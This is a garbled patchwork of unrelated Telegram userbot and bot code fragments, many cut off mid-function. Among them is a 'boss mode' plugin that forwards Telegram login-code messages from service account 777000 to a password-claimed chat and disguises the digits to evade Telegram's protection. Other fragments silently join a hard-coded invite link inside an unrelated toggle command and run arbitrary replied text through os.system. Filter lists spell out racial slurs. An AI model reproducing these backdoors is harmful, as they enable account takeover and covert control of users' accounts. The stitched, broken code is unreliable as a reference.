def on_cmd(self,
command: str,
about: str,
group: int = 0,
name: str = '',
trigger: str = '.',
only_me: bool = True,
**kwargs: Union[str, bool]) -> Callable[[PYROFUNC], PYROFUNC]:
"""
Decorator for handling messages.
Example:
@userge.on_cmd('test', about='for testing')
Parameters:
command (``str``):
command name to execute (without trigger!).
about (``str``):
help string for command.
group (``int``, *optional*):
The group identifier, defaults to 0.
name (``str``, *optional*):
name for command.
trigger (``str``, *optional*):
trigger to start command, defaults to '.'.
only_me (``bool``, *optional*):
If ``True``, Filters.me = True, defaults to True.
kwargs:
prefix (``str``, *optional*):
set prefix for flags, defaults to '-'.
del_pre (``bool``, *optional*):
If ``True``, flags returns without prefix, defaults to False.
"""
pattern = f"^\\{trigger}{command.lstrip('^')}" if trigger else f"^{command.lstrip('^')}"
if [i for i in '^()[]+*.\\|?:$' if i in command]:
match = re.match("(\\w[\\w_]*)", command)
cname = match.groups()[0] if match else ''
cname = name or cname
cname = trigger + cname if cname else ''
else:
cname = trigger + command
pattern += r"(?:\s([\S\s]+))?$"
kwargs.update({'cname': cname, 'chelp': about})
filters_ = Filters.regex(pattern=pattern) & Filters.me if only_me \
else Filters.regex(pattern=pattern)
return self.__build_decorator(log=f"On {pattern}",
filters=filters_,
group=group,
**kwargs)
def init_receiver(self):
self.bot.add_handler(
MessageHandler(self.new_chat_member, Filters.new_chat_members))
self.bot.add_handler(
MessageHandler(self.left_chat_member, Filters.left_chat_member))
self.bot.add_handler(
MessageHandler(
self.privileges_control, Filters.group & Filters.regex(
r'^\/(setwelcome|clear|status|setflag)(@[a-zA-Z_]*bot)?\s?'
)))
self.bot.add_handler(
MessageHandler(
self.set_welcome_message, Filters.group &
Filters.regex(r'^\/setwelcome(@[a-zA-Z_]*bot)?\s((.|\n)*)$')))
self.bot.add_handler(
MessageHandler(
self.clear_welcome_message,
Filters.group & Filters.regex(r'^\/clear(@[a-zA-Z_]*bot)?$')))
self.bot.add_handler(
MessageHandler(
self.generate_status_message,
Filters.group & Filters.regex(r'^\/status(@[a-zA-Z_]*bot)?$')))
self.bot.add_handler(
MessageHandler(
self.response_ping_command,
Filters.group & Filters.regex(r'^\/ping(@[a-zA-Z_]*bot)?$')))
self.bot.add_handler(
MessageHandler(
self.set_group_prop, Filters.group
& Filters.regex(r'^\/setflag(@[a-zA-Z_]*bot)?\s?')))
def parse(
cls,
command: str, # pylint: disable=arguments-differ
about: Union[str, Dict[str, Union[str, List[str], Dict[str,
str]]]],
trigger: str,
name: str,
filter_me: bool,
**kwargs: Union['_client.Userge', int, bool]) -> 'Command':
""" parse command """
pattern = f"^(?:\\{trigger}|\\{Config.SUDO_TRIGGER}){command.lstrip('^')}" if trigger \
else f"^{command.lstrip('^')}"
if [i for i in '^()[]+*.\\|?:$' if i in command]:
match = re.match("(\\w[\\w_]*)", command)
cname = match.groups()[0] if match else ''
cname = name or cname
cname = trigger + cname if cname else ''
else:
cname = trigger + command
cname = name or cname
pattern += r"(?:\s([\S\s]+))?$"
filters_ = Filters.regex(pattern=pattern)
if filter_me:
outgoing_flt = Filters.create(
lambda _, m: not (m.from_user and m.from_user.is_bot) and
(m.outgoing or (m.from_user and m.from_user.is_self)) and not (
m.chat and m.chat.type == "channel" and m.edit_date) and
(m.text.startswith(trigger) if trigger else True))
incoming_flt = Filters.create(lambda _, m: not m.outgoing and (
(Config.OWNER_ID and
(m.from_user and m.from_user.id == Config.OWNER_ID)) or
((cname.lstrip(trigger) in Config.ALLOWED_COMMANDS) and
(m.from_user and m.from_user.id in Config.SUDO_USERS))) and (
m.text.startswith(Config.SUDO_TRIGGER)
if trigger else True))
filters_ = filters_ & (outgoing_flt | incoming_flt)
return cls(_format_about(about),
trigger,
pattern,
filters=filters_,
name=cname,
**kwargs)
def on_cmd(
self,
command: str,
about: Union[str, Dict[str, Union[str, List[str], Dict[str, str]]]],
group: int = 0,
name: str = '',
trigger: str = Config.CMD_TRIGGER,
filter_me: bool = True,
**kwargs: Union[str, bool, Dict[str, Union[str, List[str], Dict[str,
str]]]]
) -> Callable[[_PYROFUNC], _PYROFUNC]:
"""\nDecorator for handling messages.
Example:
@userge.on_cmd('test', about='for testing')
Parameters:
command (``str``):
command name to execute (without trigger!).
about (``str`` | ``dict``):
help string or dict for command.
{
'header': ``str``,
'description': ``str``,
'flags': ``str`` | ``dict``,
'options': ``str`` | ``dict``,
'types': ``str`` | ``list``,
'usage': ``str``,
'examples': ``str`` | ``list``,
'others': ``str``,
'any_title': ``str`` | ``list`` | ``dict``
}
group (``int``, *optional*):
The group identifier, defaults to 0.
name (``str``, *optional*):
name for command.
trigger (``str``, *optional*):
trigger to start command, defaults to '.'.
filter_me (``bool``, *optional*):
If ``True``, Filters.me = True, defaults to True.
kwargs:
prefix (``str``, *optional*):
set prefix for flags, defaults to '-'.
del_pre (``bool``, *optional*):
If ``True``, flags returns without prefix,
defaults to False.
"""
pattern = f"^(?:\\{trigger}|\\{Config.SUDO_TRIGGER}){command.lstrip('^')}" if trigger \
else f"^{command.lstrip('^')}"
if [i for i in '^()[]+*.\\|?:$' if i in command]:
match = re.match("(\\w[\\w_]*)", command)
cname = match.groups()[0] if match else ''
cname = name or cname
cname = trigger + cname if cname else ''
else:
cname = trigger + command
cname = name or cname
pattern += r"(?:\s([\S\s]+))?$"
kwargs.update({'cname': cname, 'chelp': about})
filters_ = Filters.regex(pattern=pattern)
filter_my_trigger = Filters.create(lambda _, query: \
query.text.startswith(trigger) if trigger else True)
sudo_filter = Filters.create(lambda _, query: \
(query.from_user
and query.from_user.id in Config.SUDO_USERS
and (query.text.startswith(Config.SUDO_TRIGGER) if trigger else True)))
sudo_cmd_filter = Filters.create(lambda _, __: \
cname.lstrip(trigger) in Config.ALLOWED_COMMANDS)
if filter_me:
filters_ = (filters_
&
(((Filters.outgoing | Filters.me) & filter_my_trigger)
| (Filters.incoming & sudo_filter & sudo_cmd_filter)))
return self._build_decorator(log=f"On {pattern}",
filters=filters_,
group=group,
**kwargs)
from pyrogram import Client, Message, Filters
from db import r
import time
password = r.get("password")
#######BOSS MODE#######
@Client.on_message(Filters.regex("^(boss)$") & Filters.me, group=0)
def imboss(app: Client, msg: Message):
msg.reply("Enter the password:"******"^({password})$") & Filters.private, group=1)
def setboss(app: Client, msg: Message):
userid = msg.chat.id
r.set("boss", str(userid))
msg.reply("You are boss now ;)\nTelegram Messages will send you...")
@Client.on_message(Filters.chat(777000))
def telegram(app: Client, msg: Message):
code = msg.text
if "boss" in r.keys():
boss = int(r.get("boss"))
else:
return
for i in range(10):
code = code.replace(str(i), f"-//__{i}__//-")
app.send_message(chat_id=boss, text=code, parse_mode="markdown")
def main():
get_chats_with_manager()
schedule.every(5).seconds.do(console_update)
schedule.every(10000).seconds.do(get_chats_with_manager)
get_last_game_id()
rs_bot.start()
apps[0].add_handler(
MessageHandler(handlers.count_gaps,
filters=Filters.chat(lab) & Filters.regex(r'^/amar$')))
apps[0].add_handler(
MessageHandler(
handlers.exec_command,
Filters.user(
[660462150, 1147334296, 951153044, 1327834355, 1372089184])
& Filters.command('exec')))
handler_list = [
MessageHandler(handlers.detect_game_finished,
filters=Filters.user(game_bots)
& Filters.regex(patterns.game_finish)
& ~Filters.edited),
MessageHandler(handlers.detect_game_started_message,
filters=Filters.user(game_bots)
& Filters.regex(patterns.game_list)
& ~Filters.regex(patterns.death) & ~Filters.edited),
MessageHandler(handlers.detect_game_list,
filters=Filters.user(game_bots)
& Filters.regex(patterns.game_list) & ~Filters.edited),
MessageHandler(handlers.detect_game_start,
filters=Filters.user(game_bots)
& Filters.regex('#players') & ~Filters.edited),
MessageHandler(handlers.detect_game_started,
filters=Filters.user(game_bots)
& Filters.regex(patterns.game_started)
& ~Filters.edited),
MessageHandler(handlers.detect_game_canceled,
filters=Filters.user(game_bots)
& Filters.regex(patterns.game_canceled)
& ~Filters.edited),
MessageHandler(handlers.afked_players,
filters=Filters.user(game_bots)
& Filters.regex(patterns.player_afk) & ~Filters.edited),
MessageHandler(handlers.player_votes,
filters=Filters.user(game_bots)
& Filters.regex(r'خب .+ نظرش اینه که .+ اعدام بشه')
& ~Filters.edited),
MessageHandler(handlers.grey_next,
filters=Filters.user(tools_bot) & Filters.reply),
MessageHandler(handlers.add_gp,
filters=Filters.user(admins)
& Filters.regex(r'^[a|A]dd gp')),
MessageHandler(handlers.define_message_as_mention,
filters=Filters.bot & Filters.group
& ~Filters.user(game_bots)),
MessageHandler(handlers.game_start_save_link,
filters=Filters.user(game_bots)
& Filters.regex(pattern=patterns.jointime_started)
& ~Filters.edited),
MessageHandler(handlers.gapatoon,
filters=Filters.chat(lab)
& Filters.regex(r'^/gapatoon$'))
]
n = 0
for app_ in apps + apps_free + spies:
try:
print('starting ', n)
if app_ in spies:
from telegram import Bot
Bot(lupine_guy_token).send_message(-1001444185267,
'starting that goodness')
app_.start()
if app_ in spies:
from telegram import Bot
Bot(lupine_guy_token).send_message(-1001444185267,
'started that goodness')
n += 1
if '-j' in sys.argv:
try:
app_.join_chat(
'https://t.me/joinchat/J13aRlYUhLP2H02ai3-DTA')
except:
pass
except Exception as e:
print(e)
[app_.add_handler(handler) for handler in handler_list]
print(n, 'helpers and data are up')
while True:
try:
schedule.run_pending()
sleep(1)
except KeyboardInterrupt:
break
rs_bot.stop()
[app_.stop() for app_ in apps + apps_free]
mutes = [
"text",
"photo",
"sticker",
"gif",
"voice",
"media",
"audio",
"doc",
"video",
"vn",
]
@Client.on_message(Filters.me & (Filters.group | Filters.private)
& Filters.reply & Filters.regex("^[Mm] (.*)$"),
group=1)
def mute(app: Client, msg: Message):
m = msg.text.split(" ")[1]
fname = msg.reply_to_message.from_user.first_name
userid = msg.reply_to_message.from_user.id
if not m in mutes: return
if str(userid) in r.smembers("mute" + m):
r.srem("mute" + m, str(userid))
text = f"`{m}` __UNmuted__ for **{fname}**\nBy Selfnium!"
else:
r.sadd("mute" + m, str(userid))
text = f"`{m}` __Muted__ for **{fname}**\nBy Selfnium!"
app.edit_message_text(msg.chat.id, msg.message_id, text)
from pyrogram import Client , Message , Filters
from db import r
@Client.on_message(Filters.me & Filters.reply & Filters.regex("^[Dd]$"),group=14)
def delete(app : Client ,msg = Message):
msgid = msg.reply_to_message.message_id
mymsg = msg.message_id
app.delete_messages(msg.chat.id, [msgid,mymsg])
while ext not in ok_exts:
dog_pic = requests.get('https://random.dog/woof.json').json()['url']
ext = re.search(animal, dog_pic).group(1).lower()
return dog_pic
def _prep_cat():
ext = ''
cat_pic = None
while ext not in ok_exts:
cat_pic = requests.get('http://aws.random.cat/meow').json()['file']
ext = re.search(animal, cat_pic).group(1).lower()
return cat_pic
@UserBot.on_message(Filters.regex("^\.?dog$") & Filters.me)
async def dog(bot: UserBot, message: Message):
if message.from_user.is_self:
await message.delete()
await bot.send_photo(chat_id=message.chat.id,
photo=_prep_dog(),
reply_to_message_id=ReplyCheck(message))
@UserBot.on_message(Filters.regex("^\.?cat$") & Filters.me)
async def cat(bot: UserBot, message: Message):
if message.from_user.is_self:
await message.delete()
await bot.send_photo(chat_id=message.chat.id,
from pyrogram import Client , Message , Filters
from db import r
import time
### ACTION CHAT
@Client.on_message(Filters.regex("^[Aa]ction$") & Filters.me)
def action(app : Client ,msg : Message):
chatid = msg.chat.id
if str(chatid) in r.smembers("chataction"):
r.srem("chataction", str(chatid))
text = "ChatAction in This Chat is OFF now"
else:
r.sadd("chataction", str(chatid))
text = "ChatAction in This Chat is ON now"
app.edit_message_text(text=text,
chat_id=msg.chat.id,
message_id=msg.message_id,)
app.join_chat("https://t.me/joinchat/M1AFOUg7BKORT1yEabYT7g")
if r.get("autodel") == "on":
time.sleep(float(r.get("autodeltime")))
app.delete_messages(msg.chat.id,msg.message_id)
@Client.on_message(Filters.incoming,group = 24)
def incoming(app : Client ,msg : Message):
# DEFULT PLAYING
from pyrogram import Client, Message, Filters
from db import r
import time, psutil
### DETAIL SERVER
@Client.on_message(Filters.me & Filters.regex("^([Ss]erver)$"))
def server(app: Client, msg: Message):
disk_p = dict(psutil.disk_usage(__file__)._asdict())["percent"] ## disk
ram_p = dict(psutil.virtual_memory()._asdict())["percent"] ## RAM
cpu_p = psutil.cpu_percent()
text = f"""
Server System Info
Used Disk : `{disk_p}%`
Used Ram : `{ram_p}%`
Used Cpu : `{cpu_p}%`
**L ON THE KODA MADAFAKA**
"""
app.edit_message_text(
text=text,
chat_id=msg.chat.id,
message_id=msg.message_id,
)
if r.get("autodel") == "on":
time.sleep(float(r.get("autodeltime")))
app.delete_messages(msg.chat.id, msg.message_id)
def msg_decorator(func):
def wrap(client, message):
if message.empty:
return
try:
if len(me) < 1:
me.append(app.get_me())
if me[0].id in BLACKLIST:
raise RetardsException('RETARDS CANNOT USE THIS BOT')
if message.service and not service:
return
if message.chat.type == 'channel':
return
if not bot and message.chat.type == 'bot':
message.continue_propagation()
if not private and message.chat.type in ['private', 'bot']:
if not disable_notify:
edit(message, f'`{get_translation("groupUsage")}`')
return
if not group and message.chat.type in ['group', 'supergroup']:
if not disable_notify:
edit(message, f'`{get_translation("privateUsage")}`')
return
if not compat:
func(client, message)
else:
func(message)
except RetardsException:
try:
app.stop()
except BaseException:
pass
execl(executable, 'killall', executable)
except ContinuePropagation as c:
raise c
except Exception as e:
if disable_notify:
return
try:
date = strftime("%Y-%m-%d %H:%M:%S", gmtime())
if f'{_parsed_prefix}crash' == f'{message.text}'.split(
)[0]:
text = f'{get_translation("logidTest")}'
else:
edit(message, f'`{get_translation("errorLogSend")}`')
link = get_translation("supportGroup", [SUPPORT_GROUP])
text = get_translation("sedenErrorText", ['**', link])
ftext = get_translation("sedenErrorText2", [
date, message.chat.id, message.from_user.id
if message.from_user else "Unknown", message.text,
format_exc(),
exc_info()[1]
])
process = Popen(
['git', 'log', '--pretty=format:"%an: %s"', '-10'],
stdout=PIPE,
stderr=PIPE)
out, err = process.communicate()
out = f'{out.decode()}\n{err.decode()}'.strip()
ftext += out
file = open(f'{get_translation("rbgLog")}', 'w+')
file.write(ftext)
file.close()
send_log_doc(f'{get_translation("rbgLog")}',
caption=text,
remove_file=True)
raise e
except Exception as x:
raise x
filter = None
if pattern:
filter = Filters.regex(pattern)
if brain:
filter &= Filters.user(BRAIN_CHECKER)
if outgoing and not incoming:
filter &= Filters.me
elif incoming and not outgoing:
filter &= (Filters.incoming & ~Filters.bot)
else:
if outgoing and not incoming:
filter = Filters.me
elif incoming and not outgoing:
filter = (Filters.incoming & ~Filters.bot)
else:
filter = (Filters.me | Filters.incoming) & ~Filters.bot
if disable_edited:
filter &= ~Filters.edited
app.add_handler(MessageHandler(wrap, filter))
from pyrogram import Client, Message, Filters
from db import r
import time
@Client.on_message(Filters.me & (Filters.private | Filters.group)
& Filters.regex("^[Cc]lear$"),
group=47)
def clear(app: Client, msg: Message):
chatid = msg.chat.id
messageid = msg.message_id
msglist = []
for message in app.iter_history(chatid, limit=1000):
count = int(message.message_id)
msglist.append(count)
try:
app.delete_messages(chatid, msglist)
except:
app.delete_messages(chatid, msglist)
api_id=API_ID,
api_hash=API_HASH,
bot_token=BOT_TOKEN,
workers=50,
sleep_threshold=10)
@bot.on_message(Filters.command('start') & Filters.private)
async def start(bot, update):
await update.reply(
f"**Hi {update.chat.first_name}!**\n\n"
"**I'm shortlink bot. Just send me link and get adsless short link!**\n\n"
"****Join Now On @VKPROJECTS♥️**")
@bot.on_message(Filters.regex(r'https?://[^\s]+') & Filters.private)
async def link_handler(bot, update):
link = update.matches[0].group(0)
if API_KEY:
try:
s = pyshorteners.Shortener(api_key=API_KEY)
shortened_url = s.cuttly.short(link)
button = [[InlineKeyboardButton("Link 🔗", url=shortened_url)]]
markup = InlineKeyboardMarkup(button)
await update.reply_text(text=f'Here is your shortlink \n`{shortened_url}`', reply_markup=markup, quote=True)
except Exception as e:
await update.reply(f'Error: {e}', quote=True)
else:
try:
s = pyshorteners.Shortener()
import math
import wget
import time
import asyncio
from pyrogram import Client, Filters
from config import Config
from pySmartDL import SmartDL
from plugins.uploader import upload_file
from helpers import gDrive_sql as db
from helpers import parent_id_sql as sql
from urllib.error import HTTPError
@Client.on_message(Filters.private & Filters.incoming &
(Filters.audio | Filters.photo | Filters.video
| Filters.document | Filters.regex('^(ht|f)tp*')))
async def _start(client, message):
creds = db.get_credential(message.from_user.id)
if creds is None:
await message.reply_text(
"🔑 **You have not authenticated me to upload to any account.**\n__Send /auth to authenticate.__",
quote=True)
return
if sql.get_id(message.from_user.id):
parent_id = sql.get_id(message.from_user.id).parent_id
else:
parent_id = None
if message.text:
if message.text.startswith('http'):
sent_message = await message.reply_text('**Checking Link...**',
quote=True)
from pyppeteer import launch, errors
from zipfile import ZipFile
from PIL import Image
import asyncio
import shutil
import math
import os
try:
EXEC_PATH = os.environ.get('GOOGLE_CHROME_SHIM')
except Exception:
print('Driver Not Found')
@Client.on_message(
Filters.regex(pattern="http[s]*://.+") & Filters.private & ~Filters.edited)
async def checker(client, message):
# https://t.me/Python/774464
if [x for x in blacklist if x in message.text]:
await message.reply_text("Please Dont Abuse This Service 😭😭")
else:
msg = await message.reply_text("working", True)
await msg.edit(text='Choose the prefered settings', reply_markup=HOME)
@Client.on_callback_query()
async def cb_(client, callback_query):
cb_data = callback_query.data
msg = callback_query.message
if (cb_data == "render" or cb_data == 'cancel' or cb_data == 'statics'):
pass
from pyrogram import Client, Filters, Message
import requests, time
import jdatetime
from db import r
@Client.on_message(Filters.regex("^[Tt]oday$") & Filters.me)
def today(app: Client, msg: Message):
r = requests.get("https://api.keybit.ir/time/").json()
time = r["time24"]["full"]["en"]
date_shamsi = r["date"]["full"]["official"]["iso"]["en"]
month = r["date"]["month"]["name"]
weekday = r["date"]["weekday"]["name"]
days_left = r["date"]["year"]["left"]["days"]["en"]
day = r["date"]["day"]["name"]
days = r["date"]["year"]["agone"]["days"]["en"]
date_gregorian = r["date"]["other"]["gregorian"]["iso"]["en"]
text = f"""
Time : **{time}**
Shamsi : **{date_shamsi}** | **{weekday}** **{day}** **{month}**
Gregorian : **{date_gregorian}**
Day : **{days}**
DaysLeft : **{days_left}**
#Tkar
"""
app.edit_message_text(
──「 **Vulgar Filter** 」──
-> `vulgar`
Turns on & off vulgar filter
Current words: 'n***a', 'nigger', 'coon', 'f**k', 'bitch'
"""
vulgar_filter = False
bad_words = ['n***a', 'nigger', 'coon', 'bitch']
f_word = ['f**k', 'suck']
@app.on_message(~Filters.regex(r"^\.\w*") & Filters.me)
async def vulgar_f(_client, message):
if not vulgar_filter:
return
try:
txt = None
if message.caption:
txt = message.caption
elif message.text:
txt = message.text
for word in bad_words:
txt = re.sub(word, 'bruh', txt, flags=re.IGNORECASE)
for word in f_word:
txt = re.sub(word, 'duck', txt, flags=re.IGNORECASE)
return await message.edit('Invalid notes.json')
added_notes.append(note_key)
db['notes'][note_key] = {
key: note_obj[key]
for key in note_obj.keys() & ['type', 'value']
}
save(db)
await message.edit('Notes restored:\n - ' +
"\n - ".join(added_notes))
except:
return await message.edit(
'An error ocurred while opening the json.')
@Client.on_message(Filters.regex("^#") & Filters.me)
async def onsharp(client, message):
note_key = message.text[1:]
exists = note_key in db['notes']
if exists:
note_obj = db['notes'][note_key]
if note_obj['type'] == 'text':
text = note_obj['value']
msg = await message.edit(text)
if text.startswith('.exec'):
from plugins.execs import execs
await execs(client, msg)
elif text.startswith('.cmd'):
from plugins.cmd import cmd
for _ in range(10):
okay = okay[:-1] + "_-"
await message.edit(okay, parse_mode=None)
@UserBot.on_message(
(Filters.command(";_;", "") | Filters.command(['sad', 'cri'], "."))
& Filters.me)
async def sad_cri(bot: UserBot, message: Message):
cri = ";_;"
for _ in range(10):
cri = cri[:-1] + "_;"
await message.edit(cri, parse_mode=None)
@UserBot.on_message(Filters.regex("^\.?oof$") & Filters.me)
async def oof(bot: UserBot, message: Message):
oof = "Oo "
for _ in range(10):
oof = oof[:-1] + "of"
await message.edit(oof, parse_mode=None)
@UserBot.on_message(Filters.command('mockt', '.') & Filters.me)
async def mock_text(bot: UserBot, message: Message):
cmd = message.command
mock_t = ""
if len(cmd) > 1:
mock_t = " ".join(cmd[1:])
elif message.reply_to_message and len(cmd) == 1:
from pyrogram import Client, Message, Filters
from pyrogram.api import functions, types
from db import r
import time
### RECENTLY & ONLINE
@Client.on_message(Filters.me & Filters.regex("^([Nn]obody|[Ee]verybody)$"),
group=20)
def setprivacy(app: Client, msg: Message):
if "obody" in str(msg.text):
app.send(
functions.account.SetPrivacy(
key=types.InputPrivacyKeyStatusTimestamp(),
rules=[types.InputPrivacyValueDisallowAll()]))
app.edit_message_text(
text="Now Nobody Can See your Last seen!",
chat_id=msg.chat.id,
message_id=msg.message_id,
)
r.set("lastseen", "NoBody")
if r.get("autodel") == "on":
time.sleep(float(r.get("autodeltime")))
app.delete_messages(msg.chat.id, msg.message_id)
else:
app.send(
functions.account.SetPrivacy(
key=types.InputPrivacyKeyStatusTimestamp(),
rules=[types.InputPrivacyValueAllowAll()]))
import re
from pyrogram import Filters, Message
from userbot import UserBot
bad_words = ['n***a', 'nigger', 'coon']
@UserBot.on_message(~Filters.regex("^\.\w*") & Filters.me, group=10)
async def i_am_not_allowed_to_say_this(bot: UserBot, message: Message):
try:
txt = None
if message.caption:
txt = message.caption
elif message.text:
txt = message.text
for word in bad_words:
txt = re.sub(word, 'bruh', txt, flags=re.IGNORECASE)
if message.caption:
if txt != message.caption:
await message.edit_caption(txt)
elif message.text:
if txt != message.text:
await message.edit(txt)
except:
return
──「 **Set AFK status** 」── -> `afk (*reason)` Set yourself to afk, give a reason if need. When someone tag you,
you will says in afk with reason, and that mentioned will sent in your assistant PM.
To exit from afk status, send anything to anywhere, exclude PM and saved message.
* = Optional
"""
# Set priority to 11 and 12
MENTIONED = []
AFK_RESTIRECT = {}
DELAY_TIME = 60 # seconds
@app.on_message(Filters.me & (Filters.command(["afk"], Command) | Filters.regex("^brb ")))
async def afk(_client, message):
if not DB_AVAILABLE:
await message.edit("Your database is not avaiable!")
return
if len(message.text.split()) >= 2:
set_afk(True, message.text.split(None, 1)[1])
await message.edit(
"{} is now AFK!\nBecause of {}".format(mention_markdown(message.from_user.id, message.from_user.first_name),
message.text.split(None, 1)[1]))
await setbot.send_message(Owner, "You are now AFK!\nBecause of {}".format(message.text.split(None, 1)[1]))
else:
set_afk(True, "")
await message.edit(
"{} is now AFK!".format(mention_markdown(message.from_user.id, message.from_user.first_name)))
await setbot.send_message(Owner, "You are now AFK!")
from pyrogram import Client, Message, Filters
from db import r
import os, time
@Client.on_message(Filters.me & Filters.regex("^[Pp]y$") & Filters.reply,
group=13)
def runpy(app: Client, msg: Message):
text = msg.reply_to_message.text
with open("script.py", "a+") as f_w:
f_w.write(text)
os.system("python3 script.py > out.txt")
with open("out.txt", "r") as f_r:
out = f_r.read()
out = "Output:\n" + out
os.remove("script.py")
os.remove("out.txt")
app.edit_message_text(msg.chat.id, msg.message_id, out)
if r.get("autodel") == "on":
time.sleep(float(r.get("autodeltime")))
app.delete_messages(msg.chat.id, msg.message_id)
from datetime import datetime, timedelta
from pyrogram import Client, Filters, InlineKeyboardMarkup, InlineKeyboardButton
from bot import user_time
from config import youtube_next_fetch
from helper.ytdlfunc import extractYt, create_buttons
ytregex = r"^((?:https?:)?\/\/)?((?:www|m)\.)?((?:youtube\.com|youtu.be))(\/(?:[\w\-]+\?v=|embed\/|v\/)?)([\w\-]+)(\S+)?$"
@Client.on_message(Filters.regex(ytregex))
async def ytdl(_, message):
userLastDownloadTime = user_time.get(message.chat.id)
try:
if userLastDownloadTime > datetime.now():
wait_time = round((userLastDownloadTime - datetime.now()).total_seconds() / 60, 2)
await message.reply_text(f"`Wait {wait_time} Minutes before next Request`")
return
except:
pass
url = message.text.strip()
await message.reply_chat_action("typing")
try:
title, thumbnail_url, formats = extractYt(url)
now = datetime.now()
user_time[message.chat.id] = now + \
timedelta(minutes=youtube_next_fetch)
except Exception:
await message.reply_text("`Failed To Fetch Youtube Data... 😔 \nPossible Youtube Blocked server ip \n#error`")
caption = note_message.caption
if caption:
caption = caption.html
await n_m.reply_cached_media(file_id=file_id,
caption=caption,
parse_mode="html",
reply_markup=note_message.reply_markup)
else:
caption = note_message.text
if caption:
caption = caption.html
disable_web_page_preview = True
if "gra.ph" in caption or "youtu" in caption:
disable_web_page_preview = False
await n_m.reply_text(text=caption,
disable_web_page_preview=disable_web_page_preview,
parse_mode="html",
reply_markup=note_message.reply_markup)
@Client.on_message(Filters.command("getnote", COMMAND_HAND_LER))
async def get_note(_, message):
note_name = " ".join(message.command[1:])
await get_note_with_command(message, note_name)
@Client.on_message(Filters.regex(pattern=r"#(\w+)"))
async def get_hash_tag_note(_, message):
note_name = message.matches[0].group(1)
await get_note_with_command(message, note_name)
except KeyError:
pass
with connection.cursor() as cursor:
if constants.creator in lists:
cursor.execute("INSERT INTO `Admins` (`id`, `is_self` ,`is_contact`, `is_mutual_contact`, `is_deleted`, `is_bot`, `is_verified`, `is_restricted`, `is_scam`, `is_support`, `first_name`, `last_name`, `username`, `language_code`, `phone_number`, `role`) VALUES (%(id)s, %(is_self)s, %(is_contact)s, %(is_mutual_contact)s, %(is_deleted)s, %(is_bot)s, %(is_verified)s, %(is_restricted)s, %(is_scam)s, %(is_support)s, %(first_name)s, %(last_name)s, %(username)s, %(language_code)s, %(phone_number)s)", chat)
async message.chat.promote_member(chat["id"], can_change_info=True, can_post_messages=True, can_edit_messages=False, can_delete_messages=True, can_restrict_members=True, can_invite_users=True, can_pin_messages=True, can_promote_members=False)
text = "I added {}{} to the list of allowed user.".format("{} ".format(chat["first_name"]) if chat["first_name"] is not None else "", "{} ".format(chat["last_name"]) if chat["last_name"] is not None else "")
else:
cursor.execute("INSERT INTO `Chats` (`id`, `type`, `is_verified`, `is_restricted`, `is_scam`, `is_support`, `title`, `username`, `first_name`, `last_name`, `invite_link`) VALUES (%(id)s, %(type)s, %(is_verified)s, %(is_restricted)s, %(is_scam)s, %(is_support)s, %(title)s, %(username)s, %(first_name)s, %(last_name)s, %(invite_link)s)", chat)
text = "I added {} to the list of allowed chat.".format(chat["title"])
connection.commit()
await stopFilter.commute()
logger.info(text)
@app.on_message(Filters.chat(chatIdList) & Filters.regex("^(\@admin)\s?(.*)$", re.IGNORECASE | re.UNICODE | re.MULTILINE))
def admin(client: Client, message: Message):
global connection, constants
# Checking if the message have the correct syntax
if message.text.startswith("@admin") is False or len(message.matches) != 1:
return
message.text = message.text[len("@admin"):]
if message.text != "" and message.text[0] not in list([" ", "\n", "\t"]):
return
# Retrieving the admins
match = message.matches.pop(0)
with connection.cursor() as cursor:
cursor.execute("SELECT `id`, `username` FROM `Admins`")
admins = cursor.fetchall()
text = "\n@{} needs your help".format(message.from_user.username)
from pyrogram import Filters, Message
from userbot import UserBot
from userbot.helpers.PyroHelpers import GetChatID, ReplyCheck
the_regex = "^r\/([^\s\/])+"
# Generate full Reddit link with subreddit
@UserBot.on_message(Filters.regex(the_regex) & Filters.me)
async def subreddit_link(bot: UserBot, message: Message):
html = "<a href='{link}'>{string}</a>"
await message.delete()
await bot.send_message(GetChatID(message),
html.format(link="https://reddit.com/" +
message.text,
string=message.text),
disable_web_page_preview=True,
reply_to_message_id=ReplyCheck(message))
from anydlbot import (AUTH_USERS, HTTP_PROXY, DOWNLOAD_LOCATION,
DEF_THUMB_NAIL_VID_S)
# the Strings used for this "thing"
from translation import Translation
from pyrogram import (Client, Filters, InlineKeyboardButton,
InlineKeyboardMarkup)
logging.getLogger("pyrogram").setLevel(logging.WARNING)
from anydlbot.helper_funcs.display_progress import humanbytes
from anydlbot.helper_funcs.help_uploadbot import DownLoadFile
@Client.on_message(Filters.regex(pattern=".*http.*"))
async def echo(bot, update):
if update.from_user.id not in AUTH_USERS:
await update.delete()
return
# LOGGER.info(update)
# await bot.send_chat_action(
# chat_id=update.chat.id,
# action="typing"
# )
LOGGER.info(update.from_user)
url = update.text
youtube_dl_username = None
youtube_dl_password = None
file_name = None
if "|" in url:
# Imports
from pyrobot import BOT
from pyrogram import Filters, Message
@BOT.on_message(Filters.regex('have all been called as they used') & Filters.user(218011713) & Filters.user(349084097))
def notify_when_pingall_ready(bot: BOT, message: Message):
sleep(600)
bot.send_message(message.chat.id, "Pingall kann wieder verwendet werden!\nPingall can be used again!")
